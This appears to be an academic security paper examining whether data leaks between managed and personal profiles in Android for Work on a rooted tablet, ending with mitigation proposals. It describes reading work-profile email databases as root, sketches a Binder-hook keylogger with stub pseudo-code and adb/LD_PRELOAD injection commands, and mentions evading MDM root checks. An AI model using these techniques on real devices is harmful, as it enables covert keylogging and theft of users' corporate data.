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Abstract

In this paper we address whether it is possible to access data between managed
and unmanaged profiles on Android devices enrolled on Mobiel Device Man-
agement platforms. To answer this question we analyse the implementation of
data separation between profiles on a Nexus 7 (2013) tablet with root privileges.
During the course of our research we were able to move access data due to
lack of file-based encryption on the device, and provide a simple application for
demonstration. Another attack scenario via the Binder IPC is also proposed.
Finally, recommendations to mitigate such scenarios are given to help improve
upon these issues.
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1. Introduction

The demand for “Bring Your Own Device” (BYOD) schemes, where enterprise
software is installed on employees’ personal devices has grown significantly due
to the increasing adoption of smartphones and tablets in the workforce, com-
bined with productivity gains and cost savings[13]. As such, the risk of leaking
confidential data stored on employees’ devices is a serious concern. Android
for Workaims to solve this problem by allowing Android users to operate man-
aged and personal profiles that integrate seamlessly on the same device, whilst
securely isolating the data stored under each profile.

Android for Workfrom Google is an Enterprise Mobility Management (EMM)
framework that Mobile Device Management (MDM) providers can use to create
solutions that allow businesses to remotely manage security policy, applications
and content on employees’ mobile devices. It is the combination of several
features that have been gradually built into the Android operating system as
it continues to evolve, offering administrators features such as the ability to
set enterprise-wide security policy, wipe data remotely, separate enterprise from
personal data and enable full-disk encryption by default.

Google strives to provide Android developers with the right tools to provide
the best experience for their users by facilitating interoperability across applica-
tions. This feature however may be less desirable on an enterprise device that
stores data that is sensitive and private by nature. Android for Workhandles
this by allowing administrators to disable sharing content from the work profile
to the home profile.

Enterprises have limited control over how employees use their devices in their
personal life and mobile malware is becoming and more pervasive. Storing confi-
dential information on a device with an uncertain exposure to attack represents
a significant business risk for organisations. As such, ensuring that there can be
no data exfiltrated is imperative.

Several vulnerabilities in Android’s recent past have enabled malicious users
to exfiltrate sensitive information using techniques such as privilege escalation
to execute arbitrary code or intercept messages as they pass between running
processes, [16][2].

Intuitively one would expect a trade-off when combining integration with
strict data isolation between applications. Therefore, we hypothesise that there
are avenues through which data leakage can occur between user profiles.
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1.1 Problem Statement
Android is the most widely used mobile operating system holding a share of
82.8% of the total smartphone market whilst its largest competitor, Apple’s iOS,
holds 13.9% [12]. Contrast this to the Enterprise space where Android and iOS
represents 26% and 72% of total device activations, respectively [19]. Such a
significant difference between market share when moving from the personal to
enterprise space indicates a lack of confidence in Android’s ability to meet their
needs, significant one being security.

Android’s open-source nature has been a significant factor contributing to
its widespread usage among mobile devices. Device manufacturers are able to
produce and sell devices running Android for a low price to consumers, and
developers are able to write applications for it using popular programming
languages they are already familiar with such as Java and C++, facilitating an
expansive app ecosystem.

Whilst making the code open source has contributed to its success, it has
also opened the system up to many vulnerabilities, as anyone is able to study its
source code for flaws. Furthermore, as Android is built upon the Linux kernel,
vulnerabilities found in the Linux kernel will also affect millions of Android
devices. Responding to vulnerabilities is a slower process for Android than other
operating systems as device manufacturers modify the code to support their
hardware platforms. Users are thus dependent on the speed with which vendors
are able to offer updates, if the user even cares to update at all.

Many exploits in the past have aimed to root the device, permanently or
temporarily, and thereby gain unrestricted access to the system and its compo-
nents. Though a number of security-enhancing features have been introduced to
mitigate rooting and prevent applications from accessing files without the user’s
explicit permission, a significant proportion of the Android community want to
legitimately root their devices for greater control. Therefore, despite whatever
controls are set in place to prevent rooted devices, there will always be groups
trying to circumvent them. The existence of remote exploits such as Towelroot
and Stagefright make it possible for devices to be rooted without the user’s
awareness and target components common to every device running the operat-
ing system [7, 4]. Such exploits have already been incorporated into malware as
a means to obtain control over a victim’s device, without their knowledge [14].

Android for Work was first introduced in version 5.0 and is able to support
devices running version as far back 4.0 through the use of separate application.
Remote exploits exist for devices up to 5.0 [7, 4]. Figure 1.1 below shows the
distribution of versions that make up Android’s ecosystem [1], highlighting that
approximately 80% of devices today are vulnerable to such exploits.

The heterogeneous landscape makes it difficult for enterprises to adopt An-
droid devices in their BYOD policies as they lose a degree of control and face
uncertainty over what exactly is connected to their network. This increases a
business’ exposure to risks such as the leaking of confidential information or
unprivileged access to company equipment, which could in turn incur financial
loss.

MDM vendors all include root detection mechanisms as part of their solutions
for companies, however they can eventually be thwarted. A systematic survey
of the most popular MDM solutions available for Android devices revealed that
all root checks thus far can be detected by either disassembling the applications
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Figure 1.1: Android version distribution, collected over 7-day period ending on
4th January 2016

Source: Google, 2016

and viewing the source code or running it through a debugger and analysing
what is loaded into the memory at runtime [6]. Once an attacker knows how
root checks are implemented, it’s possible to bypass them.

In light of this uncertain environment, and the growing demand for BYOD
schemes among businesses, we deem it valuable to investigate how data is secured
on devices using the Android for Work framework in presence of a rooted device.
Given the history of exploits in the past, it is not unrealistic to assume that
more will be discovered in the future.

An aspect of Android for Work of particular interest is the implementation of
multiple user profiles that run concurrently on the device. Support for multiple
users was first added to Android in version 4.2 [9], though it only permitted
one user to be running on the device at any one time. Android for Work offers
seamless integration between the two profiles, for example running at the same
time, whilst also promising secure data isolation.

1.2 Research Question
The previous discussion lends itself to our main research question:

• Is it possible to exfiltrate information from a managed profile to a personal
profile in Android for Work?

To answer this, the following sub-questions will be answered:

• Is it possible to intercept information belonging to the managed profile to
a personal profile using the Binder IPC of Android?

• Is it possible to record the activities of the managed profile from an appli-
cation initiated from the personal profile?
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1.3 Structure
The remained of this paper is structured as follows. In the next chapter we
discuss the related research on Android security. In Chapter 3 we provide
the background necessary for the reader to understand the components of the
Android system our research targets followed by an outline of our methodology
in Chapter 4. Chapter 5 contains the bulk of our research as we discuss our
findings regarding encryption and interprocess communication on the device. We
then proceed to discuss the implications of our research in Chapter 6, offering
suggestions for future work in Chapter 7. Finally, in Chapter 8 we summarise
our work and conclude our findings.
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2. Related work

We were inspired to conduct our research by studies that had successfully im-
plemented them in previous years, [16] [2] [15]. At the time of writing, there
is no academic literature that explores the mechanics of Android for Worknor
whether data exfiltration is possible between concurrent user profiles.

Design flaws have been found in the implementation of multitasking, a key
component enabling developers to offer rich user experiences left the system
vulnerable to task hijacking attacks[16]. In this study the careful selection of
activity attributes, intent flags, and call-back functions could allow attackers
to hijack state transitions in applications and conduct stealthy spoofing and
phishing attacks.

Ratazzi et al.[15] conducted a systematic study of multi-user support to
identify critical places where access controls were not present or properly imple-
mented and were able to describe attack scenarios where secondary users with
limited privileges were able to spy on the primary user without his knowledge.

Finally, malware researchers presented at a Blackhat conference [2] how they
were able to hook into the Binder service facilitates Inter Process Communication
between apps and the kernel and successfully parse, utilise, and exfiltrate data
as it passed through, demonstrating the efficacy of the technique in conducting
attacks such as key logging, data grabbing, and SMS interception without any
indication on the device.
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3. Background

The security features of Android for Work make use of features already built
into the Android OS. In this chapter we provide an overview of the Android
architecture and then describe the components relevant to our paper.

3.1 Android Architecture

Figure 3.1: Android Architecture

Source: [5]

Android OS consists of four main layers of abstraction: applications, frame-
work services and libraries, native libraries, and the Linux kernel. The kernel
provides drivers for hardware, networking, file-system access, and process man-
agement. On top of the kernel sits the native userspace layer consisting of the
init binary, native daemons, and native libraries that are used throughout the
system. The hardware abstraction layer is a software layer that interacts drivers
located inside the Linux kernel and is responsible for handling aspects such
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as the camera, Wi-Fi, and Touch Panel. Native applications, daemons, and
libraries can be run directly on the system without the full Java stack.

Android is mostly implemented in Java, and is executed by a Java Virtual
Machine (JVM). Dalvik Virtual Machine (DVM) was Android’s initial JVM
implementation in which applications ran Dalvik Executables (DEX files). Java
bytecode generated by the Java compiler is converted to Dalvik bytecode (.dex
files). Since Android 2.2, Dalvik has used a just-in-time compiler [1].

A new runtime, the Android RunTime (ART) was introduced in Android 4.4
and has replaced Dalvik as the default runtime since 5.0. In contrast to Dalvik,
ART features ahead-of-time (AOT) compilation. Compilation takes place when
an application is installed on the device, process generates native code from the
Dalvik bytecode stored in the application. Precompilation significantly improves
the performance of applications in comparison to just-in-time compilation.

Android’s core Java libraries sit on top of the runtime layer. Some have
native code dependencies and will communicate with the native libraries lower
down using the Java Native Interface (JNI)[5], which allows Java code to call
native code and vice versa. The Java runtime libraries layer is directly accessed
both from system services and applications.

3.1.1 Services
System services make up the core of Android and are responsible for implement-
ing features such as display and touchscreen support, telephony, and network
connectivity. Rather than interacting with kernel directly, applications call a
remote interface defined by the relevant system service which talks to the kernel.
Services can also be defined and implemented by application developers and are
used to provide background functionality such as managing downloads in the
background, or playing music whilst using another application.

Client applications communicate with services in a client-server format via
interprocess communication (IPC). The programming interfaces used by both
parties are defined in Android Interface Definition Language. AIDL files (.aidl)
generate Java interface files at compilation time which define a client-side Proxy
and server-side Stub interfaces.

3.1.2 The Binder IPC
Android uses kernel-level sandboxing to prevent applications from accessing the
memory space of others. At installation time, applications are assigned a unique
user ID that then run under. Whenever an application needs access to a resource
it doesn’t implement itself it must contact the relevant service using the Binder
IPC at the core of the Android.

Since a process cannot access the memory space of another process, it must
use the Binder interface exposed by the kernel. A client will send requests to the
Binder driver located in the kernel, /dev/binder, who then passes it on to the
target server. A server, will hold a pool of Binder threads that wait and process
requests as they are received from clients. Client applications interact with the
Binder driver using the native libbinder.so library that is loaded into every
process.

Before contacting the Binder driver, a process will use the libbinder.so to
wrap the data into a “Parcel”. This is a flattened data structure made up of
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primitives data types that the kernel can handle. Once the Parcels have been
created they are copied into Binder driver’s memory space via “ioctl()” syscalls
and then copied by the driver into the memory space of the receiving application.
Once received, the Parcels are reconstructed and the request is processed. As
data objects are flattened before they are sent, any data type can be sent over
the Binder.

Figure 3.2: Interprocess communication using the Binder

Source: [2]

The client’s address space contains an instance of the DVM, which runs the
application and proxies for Java system services. These Java system services
communicate with their native counterparts via JNI using the Binder. After
marshalling the data object to be sent into Parcels, the Binder framework calls
an ioctl() syscall with the file descriptor of /dev/binder as a parameter and
transfers the data to the kernel (1). The driver then looks up the requested
service and copies the data into the system server’s address space, then wakes
up a waiting thread in the server process to handle the request(2). After un-
marshalling the “Parcel” objects and verifying that the client process has the
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relevant permissions to carry out the required task, the server performs the
requested service and, if necessary, calls into the kernel to interact with the
relevant hardware (3) and receive a response from it (4). After this, the copy of
libbinder.so which is loaded within the server’s address space marshals the
response data and sends it back to the driver(5), which hands it back to the
client process (6) [2].

3.2 Security Features of Android for Work

3.2.1 Mobile Device Management
Devices are managed remotely by IT administrators using an EMM console
provided by Google or a trusted partner vendor. Account provisioning must first
take place before a device can be managed (See Appendix for detailed steps).
During this process, a work profile is created on the device and a device policy
controller (DPC) is installed. The DPC enforces policies set by the administrator
such as requiring strong passwords, wiping data, or preventing clipboard sharing
between device profiles.

There are two modes of operation in device provisioning, depending on
whether the device is corporate or employee-owned. In the former, the DPC is
configured in device owner mode. This gives the DPC complete control over
the device, allowing it to perform device-wide actions such as configuring device-
wide connectivity, global settings, and performing factory resets. In the latter
(the BYOD case), the DPC is configured in “profile owner” mode, and is only
able to manage the work profile.

Administrators are able to configure all devices enrolled in the system through
the EMM console. Once installed, the DPC periodically contacts the company
server with status information to ensure policy-compliance. If a device is non-
compliant, an alert is displayed to the administrator and pre-defined responses
carried out. In the past it has been possible for a device with root access to
block regular contact to the server and send spoofed information so as not to
raise any flags [6].

3.2.2 Root Detection
Corporate policy typically prohibits the use of rooted devices as they have the
ability to undermine security measures by manipulating the underlying operating
system. Application-level root detection is implemented by the MDM vendors
via the DPC, though it is a non-trivial task as the root user has control the
system environment being checked. Indeed, Evans et al (2014) systematically
analysed all major MDM apps on offer from vendors in 2014 and was able to
identify and bypass all checks [6]. Root checks can be discovered by decompiling
application binaries and searching for hard-coded strings. For example, a check
for the presence of the su binary or a search for common root applications
amongst a list of installed packages can avoided by simply renaming the binary
and application being searched for. Once an attacker is aware of the checks that
are made, he simply changes the environment to remain undetected.

It’s also interesting to note that many MDM providers (including Google)
do not prevent rooted devices from connecting to EMM platforms by default.
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Furthermore, some companies may require rooted devices to run proprietary
applications. In both cases, the security policies can be intentionally or uninten-
tionally undermined.

3.2.3 SELinux
Android has historically relied upon the Linux kernel’s Discretionary Access Con-
trol (DAC) for enforcing application sandboxing and restricting access to system
resources, even though its shortcomings are well documented [18]. SELinux was
developed by the NSA as a Mandatory Access Control (MAC) mechanism to
overcome these shortcomings. Unlike DAC, SELinux enforces a system-wide
security policy over all processes, objects and operations on the basis of secu-
rity contexts that define what they are allowed to do. As it operates at the
kernel-level, it is able to restrict services and users that run with root or system
privileges [17].

SELinux as enabled in permissive mode, where policy violations are logged
but not enforced, when it was first introduced in version 4.2 [1]. However, it
is now enabled in enforcing mode by default on version 5.0 and later, and is
a requirement for devices enrolled in an Android for Work framework. When
enabled in enforcing mode, policy violations are actively blocked and logged.

SELinux has made it significantly more difficult to root devices. Some of
the latest tools require custom patched kernels that disable SELinux before a
device can be rooted. However, the policies in SELinux have been notoriously
difficult to configure properly in the past, often due to confusing syntax of
policy definitions and considerable efforts have been spent on making it easier
to implement properly [18, 17].

Though SELinux makes exploitation much harder, it is still not impossible.
Gong (2015), was able to gain access to a shell running with system_server
privileges in the presence of SELinux by chaining together a series of exploits
found in different system services and utilising their different security contexts
to access the next link in the chain [8].

3.2.4 Full-Disk Encryption
Full-disk Encryption (FDE) promises ensures that everything on disk is stored
encrypted, including operating system files, cache, and temporary files. In
Android, it is based on dm-crypt, a kernel feature that operates at the block
device layer [10]. It uses 128 AES with cipher-block chaining (CBC) and ES-
SIV:SHA256. FDE has been enabled by default on Android since version 5.0
and is a requirement to enrol in Android for Work systems.

Upon first boot, the device generates a 128-bit key which is then encrypted
using an additional key encryption key (KEK) that can be either stored in a
hardware module such as a TPM, or derived from a passphrase entered by the
user on each boot.

Limitations

Disk encryption only protects data at rest; that is, when the device is turned
off. As disk encryption is transparent and handled at the kernel level, after an
encrypted volume is mounted, it is indistinguishable from a plaintext volume
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to user-level processes. Therefore, disk encryption does not protect data from
malicious applications running on the device [5].
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4. Methodology

This chapter focuses on our approach for conducting our analysis. Specifically,
we detail our test environment and our method for addressing our research
question and sub-questions stated in Chapter 1.

4.1 Environment Setup
To simulate an Android for Work deployment we first created an MDM platform
compatible with Android for Work and enrolled a device. Android for Work
operates as a a framework which partner vendors incorporate into their exist-
ing EMM platforms [11]. Though EMM platform implementations vary, they
interact with devices using a standard API provided by Google. We chose to
focus on the framework itself rather than implementation-specific features, using
Google’s own MDM platform, Google Apps for Work.

We used a rooted Google Nexus 7 tablet (2013), running Android 5.1.1. We
used version 5.1.1. over the latest version (6.1) as this currently makes up the
largest proportion of devices running Android and, in the context of BYOD
schemes, is likely to be more representative of current BYOD schemes that
could be deployed in enterprises today. We wanted to test how data is secured
on the device in the presence of a malicious user who has compromised a device
configured with an MDM platform. A common next step for Android malware
once installed on a device is to download exploits from compromised servers to
remotely root the device and gain unrestricted privileges. In addition, Android
has also suffered from a number of vulnerabilities in the past that enable remote
code execution with escalated privileges [7, 4]. Taken together with the relative
ease a sophisticated attacker can circumvent root detection mechanism [6], we
chose to use a rooted device to see how secure a device is in such a scenario.

As mentioned in 3, the Device Policy Controller can be installed as either
a device owner or profile owner at time of enrolment. We test the latter, as
it applies to scenarios where an employee brings in his personal device to be
enrolled with the company’s MDM platform. This gives the employee device-
wide control and limits the MDM to managing only the work profile.

4.2 Approach
Recall our stated research question is to access information stored under the
managed profile from the personal profile. To answer this question we proposed
two methods:
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1. Using an application installed by the user profile

2. Using the Binder IPC mechanism

We now discuss the structure of each approach in the following sections.

4.2.1 Application Approach
We first explored the file system of the enrolled device to understand how data
separation between the two profiles is achieved. We spawned remote shells to
interact with the device using the Android Debug Bridge (adb) command line
tool that is included as part of the Android SDK [1]. This tool also enabled us
to pull and push files to the device as well as run commands such as logcat and
ps, that display real-time information on system logs and running processes.

After mapping out the file system in the context of Android for Work, we
then used the Android Studio suite to develop a proof-of-concept application to
demonstrate our findings.

4.2.2 Binder Approach
Previous work has already demonstrated that attacks via the Binder IPC are
both viable and effective [2]. We chose to follow the approach outlined by
Artenstein to see whether it is possible in context of BYOD schemes via managed
and unmanaged user profiles. Essentially, we are testing for a scenario in which
the attack has root access to a managed device and wishes to install a discrete
listener via the Binder to intercept data passing through the Binder for as long
as possible.

It consisted of the following steps:

1. Identify a target shared system service running on the device.

2. Download the Android AOSP source code and create a hook inside libbinder.so
to dump information passing through calls made to the kernel driver to a
file on the device.

3. Upload the modified libbinder.so to the device.

4. Inject the code into our target service by setting the LD_PRELOAD environ-
mental variable and forcefully restarting the target service using the root
shell.

5. Parse the acquired “Parcel” data to reveal its contents.

A full practical implementation of this attack was not possible due to time-
constraints, though the results we were able to obtain are presented in the
following chapter.
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5. Analysis

This chapter describes the findings from our research. We first analyse how user
data is separated on the file system, later presenting a simple application that is
able to transfer data from the work profile to the user profile. We then analyse
the Binder IPC in the context of multiple users and present a theoretical attack
that aims to intercept data as it is exchanged between processes. Note that we
use the terms profiles and users synonymously throughout.

5.1 Separating Data Between Users Profiles
The first user created on a device is set as the device owner and is assigned
all privileges on the device, enabling it to create and delete other users as well
change system-wide settings that affect all other users. It is assigned userID
(UID) 0. Any subsequent users that are added as secondary users and lack the
ability to configure system-wide settings on the device. The first secondary user
is assigned UID 10 and subsequent UIDs are assigned incrementally from 10. In
the context of our Android for Work BYOD scenario, where an employee brings
in his own device, the work profile is added to the device as a secondary user by
the Device Policy Control (DPC) application.

Each user on the device has a dedicated user directory containing meta-data
detailing their installed appliations, permissions, and policy restrictions. Private
data directories are created for each application and user and protected, in the
absence of SELinux, by the regular UNIX file permissions. Support for multiple
users was first implemented in Android 4.2, though it only supported tablets
and was unable to run user profiles concurrently [1]. We can verify that both
work and personal profiles are running concurrently by issuing a pm list users
command in an user shell.

1 $ pm l i s t u s e r s
2 Users :
3 User In fo {0 :Os3 :13} running
4 User In fo {10 :Work p r o f i l e : 30} running

5.1.1 Applications
Applications for the Managed profile in Android for Work are controlled by
the IT administrator. Using the rather ironically named Google Play for Work
Store, administrators can whitelist applications that an employee is allowed to
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install on his or her own device. Applications from the regular Google Play
Store can be approved by the administrator and made available. Applications
can be silently pushed to devices by the administrator and a managed user is
unable applications.

When applications are installed for each user, they are assigned a per-user
effective ID (EID) which is combination of a unique application ID (appID) and
the UID of the user it is installed under. For example, the Skype EID listed
below is a combination of u10, the work profile UID and texttta82, Skype’s
assigned appID.

1 drwxr−x−−x u10_a82 u10_a82 2016−02−07 14 :50 com . skype .
r a i d e r

An applications installed under profile are not automatically installed for all
profiles. This is enforced via the package-restrictions.xml file stored under
the user’s texttt/data/user/(UID)/ directory. An entry is added to this file
whenever an application is installed by any user. If the application is installed
by another user, an inst flag is set to false. Deleting this flag for an application
in the package-restrictions.xml file will make the application available.

The ability to have applications installed from the user profile and make
them available for the work profile is possible by a would-be attacker, though
there is really nothing to gain as this would be flagged by the MDM app when
receiving its routinely submitted list of installed packages and draw suspicion
for further investigation.

As UNIX file permissions are the main mechanism preventing unauthorised
acces to application data, a root user is able to access and view all files on the
device. This means that any files that are unencrypted at the operating system
level during normal operation can be read and highlights a need for extra layers
of encryption to secure sensitive information.

5.1.2 Encryption
As mentioned in Chapter 3, full-disk encryption is limited to protecting data
when the device is turned off. Once the device has been decrypted at start up,
user-level processes are able to view files in plaintext format. This means that,
unless data is stored within an encrypted container by the application, a user
with root privileges is able to read this data.

To demonstrate this issue, we developed a simple application to extract email
data from the Gmail app installed under the work profile.

5.1.3 Reading Work Profile Emails from the Personal Pro-
file

The work profile’s Gmail application store in the /data/user/10/ directory has
the following structure:

1 # l s
2 app_sslcache
3 app_webview
4 cache
5 databases
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6 f i l e s
7 shared_prefs

The email database is stored as an SQLite datebase file under mailstore.eric@themoves.nl.db.
After retrieving the file from the device and viewing it in an SQLite browser
we were able to read the database structure and information about the received
emails such as the sender’s address, title of the message, and a snippet of the
body. The main body field was however filled with NULL, due to compression
from the zlib library. However, we can decompress these values and convert
them into HTML using a Python script located in the Appendix.

Figure 5.1: Application for extracting data from the managed profile to the
personal profile

To demonstrate that a root user is able to access application data installed
to a personal profile, a simple application was written 5.1. The application
essentially automates the process just outlined. The purpose of the application
is to show that the information can be read from another profile.

5.2 Binder IPC
As discussed earlier, the Binder IPC is the central point of communication flow
between processes on Android. Whenever an application requests a service from
another process, it passes through the Binder. To understand how data could
be intercepted as it passes, we looked into the system services running on the
device and documented process flow that takes place when a request is made.

To reduce confusion, we clarify some Binder terminology:

• Binder: The Binder refers to the overall Binder architecture, whilst a
Binder refers to a particular implementation of the Binder interface.
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• Binder Object: An instance of a class that implements the Binder interface.
A Binder object can implement multiple Binders.

• Binder Protocol: The low-level protocol that the Binder middleware uses
to communicate with the kernel driver.

• IBinder Interface: A well-defined set of methods, properties and events
that a Binder can implement, described in AIDL.

• Binder Token: A numeric value that uniquely identifies a Binder.

5.2.1 Shared Resources
Services are shared between users on the device and provide access to various
hardware resources in accordance with the calling application’s permissions.
They run in the background without direct interaction with the user, presenting
an attractive opportunity for an attacker wishing to install a discrete listener
on the target device.

Using the service list command on the device, we are able to view a list
of running services and their corresponding interfaces.

1 l o c a t i o n : [ android . l o c a t i o n . ILocationManager ]
2 n o t i f i c a t i o n : [ android . app . INot i f i ca t i onManager ]
3 wi f i s c anne r : [ android . net . w i f i . IWif iScanner ]
4 w i f i : [ android . net . w i f i . IWifiManager ]
5 ne tpo l i c y : [ android . net . INetworkPolicyManager ]
6 t e x t s e r v i c e s : [ com . android . i n t e r n a l . t e x t s e r v i c e .

ITextServicesManager ]
7 network_management : [ android . os . INetworkManagementService ]
8 c l i pboa rd : [ android . content . ICl ipboard ]
9 s ta tu sba r : [ com . android . i n t e r n a l . s t a tu sbar . IS ta tusBarSe rv i c e ]

10 dev ice_po l i cy : [ android . app . admin . IDevicePol icyManager ]
11 mount : [ IMountService ]
12 input_method : [ com . android . i n t e r n a l . view . IInputMethodManager ]
13 bluetooth_manager : [ android . b luetooth . IBluetoothManager ]
14 input : [ android . hardware . input . IInputManager ]
15 v ib r a t o r : [ android . os . IV ib r a t o rS e rv i c e ]
16 content : [ android . content . IContentServ i ce ]
17 phone : [ com . android . i n t e r n a l . te lephony . ITelephony ]
18 permis s ion : [ android . os . IPe rm i s s i onCont ro l l e r ]
19 . . .

Figure 5.2: Background services running on the device

As we can see in the output above there services are used to implement all of
the core functionality of the device such as network connectivity, device sensors,
and permission management. One instance of each service that runs on the
device. To determine that the user profiles are sharing the same service a simple
test can be conducted using the Keyboard application.

1. Use ps to identify the process ID (PID) of the keyboard application.

2. Verify that its EID is prefixed with the UID of the device owned (u0).
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3. Open an application installed under the work profile that uses a keyboard
interface.

4. Issue a kill (PID) command to kill the keyboard application.

5. Verify that the keyboard application has stopped both via ps and visually.

6. Restart the keyboard application by touching an input box for text in the
work user application.

7. Check ps again and look for the keyboard application’s PID

Conducting this test will confirm that the keyboard application is used by
both profiles installed on the device. This is the example service that we wish
to target for a potential keylogger and the process is outlined in the remainder
of this section.

Keylogger Using the Binder

In order for an application to receive keyboard data, it must first register with
an Input Method Editor (IME) server. An IME is the actual implementation of
the keyboard and only one can be enabled on a device at a time. The default
IME in most Android images is com.android.inputmethod.latin. When an
application registers with an IME server to receive data from it, the client-server
dynamic described in 3 is reversed: the application becomes the server and
listens for remote requests from the Binder, whilst the IME acts as the client
that sends Binder requests.

Binder interfaces are registered on the system via a context manager using
a unique token that specifies their address. In Android, the context manager
implementation is called service manager. The role of the service manager is
essential to the Binder framework as each interface knows only its own address
initially. When a Binder interface first becomes available, it will publish a name
and its Binder token to the service manager so that other Binder objects can
communicate with it via its interface.

In case of the keyboard application, every time a key is pressed on the
keyboard application, this data is wrapped into a Parcel using the libbinder.so
and passed via the Binder to the application that is processing the input. A
Binder-based keylogger would intercept the Parcels as they leave the keyboard
application.

Figure 5.3: Binder Transaction Flow

Source: Created using mscgen_js
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?? illustrates the same transaction flow between the keyboard application,
Binder driver, and receiving application, only using Binder driver commands in-
stead. Communication takes place in the form of BC_TRANSACTION and BR_TRANSACTION,
and BC_REPLY and BC_REPLY. These are commands to the Binder driver that
indicate what kind of message it is passing and keep track of transactions and
their corresponding replies.

Such an attack, if successful could yield very valuable information for the
attacker, at the expense of the enterprise. We now discuss a broad overview of
the lower-level implementation.

5.2.2 Hooking the Binder
In order to intercept the Binder data via the libbinder.so library, the func-
tion responsible for transferring data from the client process to the kernel must be
hooked. As published by Artenstein, this takes place in the IPCThreadState::talkWithDriver
function exported by libbinder.so.

1 i o c t l ( mProcess−>mDriverFD , BINDER_WRITE_READ, &bwr )

The parameters to this function are a kernel file descriptor for the process to
write to, the command to send the Binder driver, and the address of the binder
data structure containing the read and write buffers. Hooking this function
would be in the form of the following pseudo-code.

1 i n t hooked_ioct l ( i n t fd , i n t cmd , void ∗data ) {
2 do_evil_deeds_with_transaction ( data ) ;
3 i n t r e t = i o c t l ( fd , cmd , data ) ;
4 do_evil_deeds_withreply ( data ) ;
5 return r e t ;
6 }

Whenever an ioctl() call is made to the driver, this hook function is called
which parses the transaction data into a file stored locally on the device. It then
performs the actual operation, before hooking the reply data that is sent back
as a response. In this way data is intercepted as it flows through the Binder.

After adding the hook to the libbinder.so source code, one must compile
the library and upload it to the device. Once this is done, configure the keyboard
service to load the modified libbinder.so at runtime, and kill the current
keyboard process. When the keyboard application starts up again, it will load
the modified library and the intercept traffic.

1 # adb push l i b b i n d e r . so /data/ l i b b i n d e r . so
2 # setprop wrap . com. goog l e . android . inputmethod . l a t i n LD_PRELOAD=/

data/ l i b b i n d e r . so

This section provided a brief overview for how a keylogging application might
be installed on a target device via the Binder. Its purpose was to highlight the
mechanism through which is operates, rather than go into detailed exposition.
For more details, we recommend reading [2].
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5.3 Summary
To summarise this section, we analysed the way in which profile data is separated
in Android for Work and demonstrated one method of accessing data across
profiles. We then presented an overview of how a Binder-based attack would
operate on the keyboard service, and motivated the case for why it should work.
In the next chapter we discuss the results of our analysis.
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6. Discussion

6.1 File Encryption
As we demonstrated in the first section of our analysis, after a device has
been decrypted at boot time, data can be accessed in plaintext by processes
running on the system. This occurs because the “dm-crypt” encryption takes
place transparently, unbeknownst to the operating system. Though there are a
significant number of measures in place to prevent attackers from gaining root
privileges on a device enrolled with an MDM, previous work has demonstrated
that it is more the case of when such an incident takes place, rather than if.

In order to help mitigate data leakage that could occur through this channel,
we propose implementing file-based encryption inside applications. In this way,
data would be encrypted and securely stored when the data is not in use and
therefore protected from malicious applications. Of course, such a scheme would
affect usability of the device as content must be decrypted before it is used each
time. However, for sensitive applications such as storing confidential information,
this is an acceptable trade-off.

6.2 The Binder IPC
Though we were unable to practically implement the Binder-based attack, recent
work in this area has demonstrated that these types of attacks are still possible
on Android. The issue is two-fold. Firstly, this type of attack is only possible
because the data that is flowing across the Binder does so in plaintext. As all
interprocess communication flows through the Binder it represents a single point
of failure in the system. The second issue is stems from the notion of completely
isolating data and services used by the managed and unmanaged profiles. There
are currently one set of system services running on the device to access core
functionality on the device. So data, necessarily, has to flow over potentially
compromised channels.

In order to address Binder-based attacks, at least two things should be
addressed. Firstly, the amount of data that is exchanged between applications
handling sensitive data should be minimised, for example by implementing
dedicated in-app services so they don’t need to use the Binder. Secondly, data
that is passed over the Binder should be encrypted. This of course is not so
straight-forward to implement as there is a clear trade-off that needs to be made
between security and practicality. Enabling on-the-fly encryption without a
highly efficient encryption algorithm will be costly on both the devices resources
(e.g. battery) and performance. Kaladharan et al. (2016), recently proposed
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a way to encrypt traffic using a Lightweight Cryptography technique such as
Sony’s CLEFIA [3], though more research and auditing of secure encryption
schemes must be done.

It is important that features such as file-based encryption and Binder en-
cryption is eventually incorporated into the device. Application developers
working at high-tech startups holds a different set of priorities from employees
and business-owners as they are pressured to deliver their products faster and
faster. As such they are unlikely to have the time nor the expertise to implement
complicated encryption schemes themselves. Hence the overall security of the
platform is undermined.
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7. Future work

Unfortunately we were unable to implement the Binder-based attack proposed
due to time constraints. An immediate point of future work would be to complete
the implementation of this attack to prove that data from managed profiles can
be intercepted as it passes through the Binder. Awareness of Binder-based
attacks is growing and successful attacks have been demonstrated. Thus, there
is a clear need for strategies that can prevent these types of attacks.

Research into file-based encryption techniques that could be implemented
at the operating system level would secure sensitive data from malicious ap-
plications, and remove the reliance upon application developers to implement
encryption schemes themselves. Furthermore, research into methods of encrypt-
ing traffic that passes through the Binder that doesn’t hinder system performance
or significantly drain device battery life could also be very promising.

Finally, research into alternative methods of implementing dual-persona
devices that don’t rely upon shared services. Perhaps through applications
of virtualisation, or separate hardware modules designed to handle data and
services for managed profile.
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8. Conclusion

In this work we addressed whether or not it is possible to access data between
managed and unmanaged profiles on a rooted Android device. During our
research, we were able to move able to access data using one method, and
proposed another method that should be possible. In both cases, it is clear that
encryption on the device does not protect data from malicious applications. If
an attacker is able to successfully root a device from the unmanaged profile and
remain undetected by EMM platforms, it can be relatively trivial to access the
data stored by applications on the managed side. An attacker can also target
system services that are shared by both profiles on the device. By hooking calls
made to the kernel as processes exchange data, an attacker is able to silently
copy data as it passes through.

The presence of full-disk encryption on the device protects data at rest, but
can be viewed in plaintext by processes once the device has been decrypted
at boot up. The key is stored on a separate hardware platform module and
encrypted using a user-defined password. Only one password is used to decrypt
the entire device, if a malicious user is able to gain root access and read the
data of one profile, there is a significant chance that it can read data from the
other. File-based encryption containers could be a possible solution to prevent
this kind of attack, as data stored inside is encrypted when not in use, however
it is the responsibility of the application developers to implement this kind of
functionality.

All user profiles on a device share the same system services to access hardware
functionality. Thus, if a attacker is able inject his own code that hook the target
system services as they interact with the kernel, they can intercept data as it
passes processes. This presents the attacker with an opportunity to install silent
listening services on the device that record activity such as key loggers, and GPS
trackers. This method of attack is currently limited only by the services that use
the Binder. There are two suggestions to mitigate the likelihood and effectiveness
of these attacks. Firstly by minimising the amount of traffic that flows across
the Binder by implementing services that handle sensitive information, such
as keyboards, within the application itself. Secondly, by encrypting sensitive
traffic before it passes over the Binder. Both suggestions require the attention of
application developers to implement, though a revision to the Android operating
system that incorporates encryption into the Parcelling process would be an
optimal solution.

We conclude that, under the assumption of root access to a device, it is
possible to access data between Android profiles. The heterogeneity of Android
versions, number of previous Android vulnerabilities, and possibility to bypass
